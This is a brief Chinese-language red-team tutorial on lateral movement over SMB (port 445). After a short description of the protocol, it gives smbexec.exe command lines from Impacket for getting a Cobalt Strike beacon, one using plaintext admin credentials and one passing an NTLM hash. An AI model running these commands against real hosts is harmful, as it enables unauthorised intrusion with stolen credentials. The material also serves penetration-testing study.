SMB远程执行命令横向移动

• SMB远程执行命令横向移动
  • 一、SMB介绍
  • 二、smbexec.exe上线CS

一、SMB介绍

SMB 全称是 Server Message Block 翻译过来是服务器信息块，它也是一种客户端到服务器的通信协议。除此之外，SMB 协议也被称为请求-回复协议。 客户端与服务器建立连接后，客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件。

利用条件：开启了445端口

二、smbexec.exe上线CS

注意：需要用到远程桌面。靶机使用的是server2019，并未成功。

smbexec.exe为impacket工具中的工具，操作简单，容易被杀，使用时无需先进行IPC连接。

1、明文方式横向移动

smbexec.exe administrator:admin@[email protected]

2、hash方式横向移动

smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 [email protected]